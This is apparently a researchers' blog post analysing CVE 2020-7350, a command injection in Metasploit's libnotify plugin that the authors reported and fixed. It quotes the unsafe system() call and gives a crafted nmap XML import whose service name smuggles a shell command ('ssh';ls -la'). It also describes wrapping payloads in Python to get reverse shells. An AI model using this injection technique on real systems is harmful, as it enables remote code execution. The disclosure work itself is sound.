Analysis of CVE 2020 7350

Faraday Team
Jun 1, 2020 · 4 min read

Introduction

In the previous months, our team has been working over a Metasploit plugin to integrate it with Faraday. The plugin named as faraday_bridge tries to synchronize the information about hosts, service, or vulnerabilities between both tools. It would be available for the public in a short period of time, I guess. 🐌

We found inspiration in the libnotify and accidentally found a bug.

The vulnerability is not enabled by default, only users with the libnotify plugin enabled could be exploited, but we wrote the exploit just for fun.

What is libnotify?

libnotify is a plugin that displays a message through the system bar in order to inform us about new hostname or services detected, e.g.

Image for post
Image for post

Vulnerability details

As we said this plugin gives us information about discovered hosts or services through the system bar, to achieve this goal, the plugin registers many callbacks triggered when a new host or service is recognized:

1  def initialize(framework, opts)
2 super
3
4 @bin = opts[:bin] || opts['bin'] || `which notify-send`.chomp
5 @bin_opts = opts[:opts] || opts['opts'] || '--app-name=Metasploit'
6
7 raise 'libnotify not found' if @bin.empty?
8
9 self.framework.events.add_session_subscriber(self)
10 self.framework.events.add_db_subscriber(self)

the 4th line loads @bin with the full-path of the binary notify-send, and the last one adds an event subscriber to the database messages.

If the current workspace detects or modify any information about the hosts or services the following chunk would be executed:

def on_db_host(host)
notify_send('normal', 'New host',
"Addess: #{host.address}\nOS: #{host.os_name}")
end

def on_db_host_state(host, ostate)
notify_send('normal', "Host #{host.address} changed",
"OS: #{host.os_name}\nNb Services: #{host.service_count}\nNb vulns: #{host.vuln_count}\n")
end

def on_db_service(service)
notify_send('normal', 'New service',
"New service: #{service.host.address}:#{service.port}")
end

def on_db_service_state(service, port, ostate)
notify_send('normal', "Service #{service.host.address}:#{service.port} changed",
"Name: #{service.name}\nState: #{service.state}\nProto: #{service.proto}\nInfo: #{service.info}")
end

last but not least we have the notify_send, which does a system call executing the binary notify-send without any kind of checks about command injection vulnerabilities:

def notify_send(urgency, title, message)
system("#{@bin} #{@bin_opts} -u #{urgency} '#{title}' '#{message}'")

and the window appears:

Image for post
Image for post

If we tamper the host or service name we would be able to inject commands to execute whatever we want in the system call.

unfortunately, there is not an easy way to do that, because most of the info is calculated through fingerprint. But we can exploit it if we import the names from another tool

the following XML, is an nmap scan to 192.168.20.121 with the service name manipulated:

1  <?xml version="1.0" encoding="UTF-8"?>
2 <!DOCTYPE nmaprun>
3 <nmaprun scanner="nmap" args="nmap -P0 -oA pepito 192.168.20.121" start="1583503480" startstr="Fri Mar 6 11:04:40 2020" version="7.60" xmloutputversion="1.04">
4 <host starttime="1583503480" endtime="1583503480"><status state="up" reason="user-set" reason_ttl="0"/>
5 <address addr="192.168.20.121" addrtype="ipv4"/>
6 <hostnames>
7 </hostnames>
8 <ports>
9 <port protocol="tcp" portid="22"><state state="open" reason="syn-ack" reason_ttl="0"/><service name="ssh';ls -la" method="table" conf="3"/></port>
10 </ports>
11 <times srtt="6174" rttvar="435" to="100000"/>
12 </host>
13 <runstats><finished time="1583503480" timestr="Fri Mar 6 11:04:40 2020" elapsed="0.22" summary="Nmap done at Fri Mar 6 11:04:40 2020; 1 IP address (1 host up) scanned in 0.22 seconds" exit="success"/><hosts up="1" down="0" total="1"/>
14 </runstats>
15 </nmaprun>

the poisoned string is in the 9th line:

<port protocol="tcp" portid="22"><state state="open" reason="syn-ack" reason_ttl="0"/><service name="ssh';ls -la" method="table" conf="3"/></port>
</ports>

we will append an ls command to the original command, and this command will be fired after import it:

Image for post
Image for post

Limitations

the Metasploit’s payloads available for command injection are:

Image for post
Image for post

most of them are encoded with base64, for example:

those payloads can’t run successfully because the XML decoder used in Metasploit called ‘Nikigiri’ decode the payload as lower case. To overcome this, we wrapper the payload in a python one liner:

Image for post
Image for post

Now we are able to run payloads with upper and lower cases indifferently.

Pwning Metasploit with Metasploit

We made the pull request fixing the vulnerability and also delivering the fileformat module to exploit it, now we can own Metasploit with Metasploit:

Image for post
Image for post

in the following video, we have a scenario with a victim and attacker machine triggering the vulnerability with a reverse shell payload

Javier Aguinaga from Faraday Team

https://www.faradaysec.com
https://github.com/infobyte/faraday
https://twitter.com/faradaysec
https://www.instagram.com/faradaysec/
https://www.linkedin.com/company/faradaysec

Faraday

Faraday Platform helps you perform security engineering by…

Faraday Team

Written by

Faraday

Faraday

Faraday Platform helps you perform security engineering by maximizing your team’s resources, increasing risk visibility by converting all your data into valuable information https://www.faradaysec.com/

Faraday Team

Written by

Faraday

Faraday

Faraday Platform helps you perform security engineering by maximizing your team’s resources, increasing risk visibility by converting all your data into valuable information https://www.faradaysec.com/

Medium is an open platform where 170 million readers come to find insightful and dynamic thinking. Here, expert and undiscovered voices alike dive into the heart of any topic and bring new ideas to the surface. Learn more

Follow the writers, publications, and topics that matter to you, and you’ll see them on your homepage and in your inbox. Explore

If you have a story to tell, knowledge to share, or a perspective to offer — welcome home. It’s easy and free to post your thinking on any topic. Write on Medium

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store